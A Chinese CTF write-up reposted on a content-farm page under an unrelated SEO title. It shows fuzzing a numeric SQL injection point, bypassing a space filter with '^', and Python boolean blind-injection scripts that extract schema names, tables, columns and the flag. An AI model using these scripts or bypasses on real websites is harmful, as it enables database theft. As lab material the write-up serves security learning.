当前位置: 首页 > news >正文

东莞建设网站开发项目开发流程

东莞建设网站开发,项目开发流程,上海网站建设要多少钱,成都建站模板这里是数字型注入#xff0c;选择一个序号 fuzz ?id1这里过滤了很多东西 使用fuzzSQL字典#xff0c;这是我自己定义编写的一个fuzz字典#xff0c;内容较少 select from information . tables whereandor |union columns updatexml extractvalue databa… 这里是数字型注入选择一个序号 fuzz ?id1这里过滤了很多东西 使用fuzzSQL字典这是我自己定义编写的一个fuzz字典内容较少 select from information . tables whereandor |union columns updatexml extractvalue database table_name column_name schema_name -- %25 like ||( ) group_concat database OR 1%0A1 1%091 1%0C1 1%0D1 1%201 * / - ^ ifsubstr mid ascii limit ord , from for offset in length concat使用bp加载字典进行测试 看出被拦截的关键字相应大小为890那么之外的就是没有被拦截的 空格被过滤了这里使用 ^ 来计算是否为数字注入 ?id1^1 ?id1^0 ?id0^1通过测试可以发现除了第一个其他都执行成功也就是说是数字型注入 也就是可以通过布尔注入来测试 ?id0^(测试语句)如果测试语句为真那么整体返回真 那么我们的思路如下 得到所有数据库查询指定数据库的数据表查询数据表的所有字段 使用python脚本编写如果响应为429那么就是请求过快需要等待一会再进行请求 获取所有数据库 import requests from time import sleep url http://dd9a70f3-f3ef-42bd-8286-fe0bdccac825.node4.buuoj.cn:81/search.php?id0^({}) # 如果为真时的关键字匹配 base Click others # 盲注的字符集 chars ,abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789inject ord(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{},1)){} for i in range(1, 1000):continue_ Falsefor c in chars:u url.format(inject.format(i,ord(c)))res requests.get(u)while res.status_code 429:sleep(1)res requests.get(u)if base in res.text:print(c,end,flushTrue)continue_ Truebreakif not continue_:breakinformation_schema,mysql,performance_schema,test,geek获取表 inject ord(substr((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schemageek)),{},1)){} for i in range(1, 1000):continue_ Falsefor c in chars:u url.format(inject.format(i,ord(c)))res requests.get(u)while res.status_code 429:sleep(1)res requests.get(u)if base in res.text:print(c,end,flushTrue)continue_ Truebreakif not continue_:break F1naI1y,Flaaaaag获取列 inject ord(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_nameF1naI1y)),{},1)){} for i in range(1, 1000):continue_ Falsefor c in chars:u url.format(inject.format(i,ord(c)))res requests.get(u)while res.status_code 429:sleep(1)res requests.get(u)if base in res.text:print(c,end,flushTrue)continue_ Truebreakif not continue_:breakid,username,password获取flag import requests import string from time import sleep url http://9da9cb18-3096-413a-9476-8a177ffec31a.node4.buuoj.cn:81/search.php?id0^({}) # 如果为真时的关键字匹配 base Click others # 盲注的字符集 chars string.printableinject ord(substr(reverse((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y))),{},1)){} for i in range(1, 1000):continue_ Falsefor c in chars:u url.format(inject.format(i,ord(c)))res requests.get(u)while res.status_code 429:sleep(1)res requests.get(u)if base in res.text:print(c,end,flushTrue)continue_ Truebreakif not continue_:break 这里使用 reverse 是因为flag在最后面将得到的结果反转即可得到flag }42e24a1d9455-24bb-fac4-fdf9-e863df96{galf flag{69fd368e-9fdf-4caf-bb42-5549d1a42e24}
http://www.yayakq.cn/news/5310/

相关文章:

  • 房产网站开发方案如何建设一个普通网页网站
  • 国际网站怎么注册免费的济宁建站公司
  • 学校网站建设基本流程怎么用php做网站后台程序
  • 合肥生态建设职业培训学校网站wordpress后车头
  • 临沂网站设计广西建设培训网
  • 专业建站策划云南最便宜的网站建设
  • 微信手机网站搭建怎么快速开发一个网站
  • 山东食品行业网站开发精准引流的网络推广方法
  • 软件实施工程师工资一般多少广州网站营销seo费用
  • 建立购物网站的目的游戏ui设计需要学什么软件
  • 网站建设推进会莆田制作公司网站
  • 微博网站开发平台做网站详细教程
  • 网站建设推广接单语织梦网站打不开
  • 建立 网站服务器网站开发 开题报告
  • 福州手机模板建站北京市建设规划网站
  • 国外优惠卷网站如何做搜索推广代运营
  • 中企动力网站建设 医疗佛山seo整站优化
  • 企业网站备案资料填写单怎么做html5网站
  • 计算机网络网站开发万能本地视频播放器
  • 网站模版修改怎么做网站的百度权重
  • 网站建设实训存在的问题公司网站建设高端网站建设网页设计
  • 宁夏建设工程造价站网站做网站排名推广效果怎么样
  • 广州一起做网站简易网页一键生成
  • 成品在线网站免费入口wordpress主题外贸
  • 网站推广方案范例wordpress调用添加登陆页面按钮
  • 有哪些建站的公司上海包装设计公司
  • php网站开发工程师月薪企业网站建立意义何在
  • 免费素材视频网站哪个最好怎么找外包公司
  • 餐饮网站源码wordpress 编辑界面
  • 广州佛山网站建设地址小公司网站如何做